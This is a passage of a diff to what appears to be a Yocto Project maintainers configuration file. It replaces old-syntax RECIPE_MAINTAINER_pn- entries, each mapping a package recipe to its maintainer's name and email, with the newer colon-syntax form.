-RECIPE_MAINTAINER_pn-mobile-broadband-provider-info = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-modutils-initscripts = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-mpeg2dec = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-mpfr = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mpg123 = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-msmtp = "Wang Mingyu <wangmy@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-mtd-utils = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-mtdev = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-mtools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-musl = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-obstack = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-musl-utils = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-mx-1.0 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-nasm = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-buildtools-perl-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-icecc-toolchain = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-libtool = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-meson = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nativesdk-packagegroup-sdk-host = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-nativesdk-qemu-helper = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-nativesdk-sdk-provides-dummy = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-newlib = "Alejandro Hernandez <aehs29@gmail.com>"
-RECIPE_MAINTAINER_pn-ncurses = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-neard = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-net-tools = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-netbase = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nettle = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-nfs-export-root = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-nfs-utils = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ninja = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-npth = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-nss-myhostname = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-numactl = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-ofono = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-opensbi = "Alistair Francis <alistair.francis@wdc.com>"
-RECIPE_MAINTAINER_pn-openssh = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-openssl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-opkg = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-arch-config = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-keyrings = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-opkg-utils = "Alejandro del Castillo <alejandro.delcastillo@ni.com>"
-RECIPE_MAINTAINER_pn-orc = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-os-release = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-ovmf = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-ovmf-shell-image = "Ricardo Neri <ricardo.neri-calderon@linux.intel.com>"
-RECIPE_MAINTAINER_pn-p11-kit = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-package-index = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pango = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-parted = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patch = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-patchelf = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-pbzip2 = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-pciutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-pcmanfm = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-perf = "Bruce Ashfield <bruce.ashfield@gmail.com>"
-RECIPE_MAINTAINER_pn-perl = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-piglit = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pigz = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-pinentry = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-pixman = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-pkgconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pkgconfig = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pm-utils = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pointercal-xinput = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pong-clock = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-popt = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-powertop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ppp = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-ppp-dialin = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-prelink = "Mark Hatle <mark.hatle@kernel.crashing.org>"
-RECIPE_MAINTAINER_pn-procps = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-pseudo = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-psmisc = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-psplash = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-ptest-runner = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-pulseaudio = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-pulseaudio-client-conf-sato = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-puzzles = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-python3 = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-async = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-cython = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-dbus = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-dbusmock = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-docutils = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pycryptodome = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-pycryptodomex = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-extras = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-git = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-gitdb = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-iniparse = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-jinja2 = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-python3-libarchive-c = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-magic = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-mako = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-markupsafe = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-python3-nose = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-numpy = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pbr = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-pip = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-pycairo = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-pyelftools = "Joshua Watt <JPEWhacker@gmail.com>"
-RECIPE_MAINTAINER_pn-python3-pygments = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-pygobject = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-pyparsing = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-scons = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-scons-native = "Tim Orling <timothy.t.orling@linux.intel.com>"
-RECIPE_MAINTAINER_pn-python3-setuptools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-six = "Zang Ruochen <zangrc.fnst@cn.fujitsu.com>"
-RECIPE_MAINTAINER_pn-python3-smmap = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-subunit = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-python3-testtools = "Oleksandr Kravchuk <open.source@oleksandr-kravchuk.com>"
-RECIPE_MAINTAINER_pn-qemu = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-helper-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemu-system-native = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-qemuwrapper-cross = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-quilt = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quilt-native = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-quota = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-re2c = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-readline = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-resolvconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-rgb = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-rpcbind = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-rng-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-rpcsvc-proto = "Khem Raj <raj.khem@gmail.com>"
-RECIPE_MAINTAINER_pn-rpm = "Unassigned <unassigned@yoctoproject.org>"
-RECIPE_MAINTAINER_pn-rsync = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-rt-tests = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-ruby = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-run-postinsts = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-rxvt-unicode = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-sato-screenshot = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-sbc = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-screen = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sed = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-serf = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-setserial = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-settings-daemon = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shadow = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-securetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shadow-sysroot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-shaderc = "Jose Quaresma <quaresma.jose@gmail.com>"
-RECIPE_MAINTAINER_pn-shared-mime-info = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-shutdown-desktop = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-signing-keys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-slang = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-socat = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-speex = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-speexdsp = "Tanu Kaskinen <tanuk@iki.fi>"
-RECIPE_MAINTAINER_pn-spirv-tools = "Jose Quaresma <quaresma.jose@gmail.com>"
-RECIPE_MAINTAINER_pn-sqlite3 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-squashfs-tools = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ssh-pregen-hostkeys = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-startup-notification = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-strace = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-stress-ng = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-subversion = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-sudo = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-swig = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-sysfsutils = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-sysklogd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-syslinux = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-sysstat = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-boot = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootchart = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-bootconf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-conf = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-compat-units = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-serialgetty = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemd-systemctl-native = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-systemtap = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-native = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-systemtap-uprobes = "Victor Kamensky <kamensky@cisco.com>"
-RECIPE_MAINTAINER_pn-sysvinit = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-sysvinit-inittab = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-taglib = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tar = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-tcf-agent = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tcl = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-tcp-wrappers = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-testexport-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-texinfo = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-texinfo-dummy-native = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tiff = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-time = "Robert Yang <liezhi.yang@windriver.com>"
-RECIPE_MAINTAINER_pn-ttf-bitstream-vera = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-tzcode-native = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-tzdata = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-u-boot-tools = "Marek Vasut <marek.vasut@gmail.com>"
-RECIPE_MAINTAINER_pn-udev-extraconf = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-unfs3 = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-unifdef = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-uninative-tarball = "Richard Purdie <richard.purdie@linuxfoundation.org>"
-RECIPE_MAINTAINER_pn-unzip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-update-rc.d = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-usbinit = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-usbutils = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-util-linux = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-util-macros = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-v86d = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vala = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-valgrind = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-vim = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-vim-tiny = "Tom Rini <trini@konsulko.com>"
-RECIPE_MAINTAINER_pn-virglrenderer = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-volatile-binds = "Chen Qi <Qi.Chen@windriver.com>"
-RECIPE_MAINTAINER_pn-vte = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-headers = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-loader = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-vulkan-samples = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-vulkan-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-waffle = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-watchdog = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-watchdog-config = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-wayland = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wayland-protocols = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wayland-utils = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-webkitgtk = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-weston = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-weston-init = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-wget = "Yi Zhao <yi.zhao@windriver.com>"
-RECIPE_MAINTAINER_pn-which = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wic-tools = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-wireless-regdb = "Adrian Bunk <bunk@kernel.org>"
-RECIPE_MAINTAINER_pn-wpa-supplicant = "Changhyeok Bae <changhyeok.bae@gmail.com>"
-RECIPE_MAINTAINER_pn-wpebackend-fdo = "Alexander Kanavin <alex.kanavin@gmail.com>"
-RECIPE_MAINTAINER_pn-x11perf = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-x264 = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xauth = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-proto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-image = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-keysyms = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-renderutil = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcb-util-wm = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xcursor-transparent-theme = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xdg-utils = "Anuj Mittal <anuj.mittal@intel.com>"
-RECIPE_MAINTAINER_pn-xdpyinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xeyes = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-evdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-keyboard = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-libinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-mouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-synaptics = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-input-vmmouse = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-cirrus = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-fbdev = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-intel = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vesa = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xf86-video-vmware = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xhost = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinetd = "Ross Burton <ross.burton@arm.com>"
-RECIPE_MAINTAINER_pn-xinit = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xinput-calibrator = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkbcomp = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xkeyboard-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xmlto = "Hongxu Jia <hongxu.jia@windriver.com>"
-RECIPE_MAINTAINER_pn-xmodmap = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorg-minimal-fonts = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xorgproto = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xprop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrandr = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xrestop = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-nodm-init = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xf86-config = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xserver-xorg = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xset = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xtrans = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xuser-account = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xvinfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xwininfo = "Armin Kuster <akuster808@gmail.com>"
-RECIPE_MAINTAINER_pn-xz = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zip = "Denys Dmytriyenko <denys@ti.com>"
-RECIPE_MAINTAINER_pn-zlib = "Denys Dmytriyenko <denys@ti.com>"
+RECIPE_MAINTAINER:pn-acl = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-acpica = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-acpid = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-adwaita-icon-theme = "Ross Burton <ross.burton@arm.com>"
+RECIPE_MAINTAINER:pn-alsa-lib = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-plugins = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-state = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-tools = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-topology-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-ucm-conf = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-utils = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-alsa-utils-scripts = "Michael Opdenacker <michael.opdenacker@bootlin.com>"
+RECIPE_MAINTAINER:pn-apmd = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-apr = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apr-util = "Hongxu Jia <hongxu.jia@windriver.com>"
+RECIPE_MAINTAINER:pn-apt = "Aníbal Limón <limon.anibal@gmail.com>"
+RECIPE_MAINTAINER:pn-argp-standalone = "Khem Raj <raj.khem@gmail.com>"
+RECIPE_MAINTAINER:pn-asciidoc = "Yi Zhao <yi.zhao@windriver.com>"
+RECIPE_MAINTAINER:pn-aspell = "Anuj Mittal <anuj.mittal@intel.com>"
+RECIPE_MAINTAINER:pn-at = "Chen Qi <Qi.Chen@windriver.com>"
+RECIPE_MAINTAINER:pn-at-spi2-atk = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-at-spi2-core = "Tim Orling <timothy.t.orling@intel.com>"
+RECIPE_MAINTAINER:pn-atk = "Tim Orling <timothy.t.orling@intel.com>"
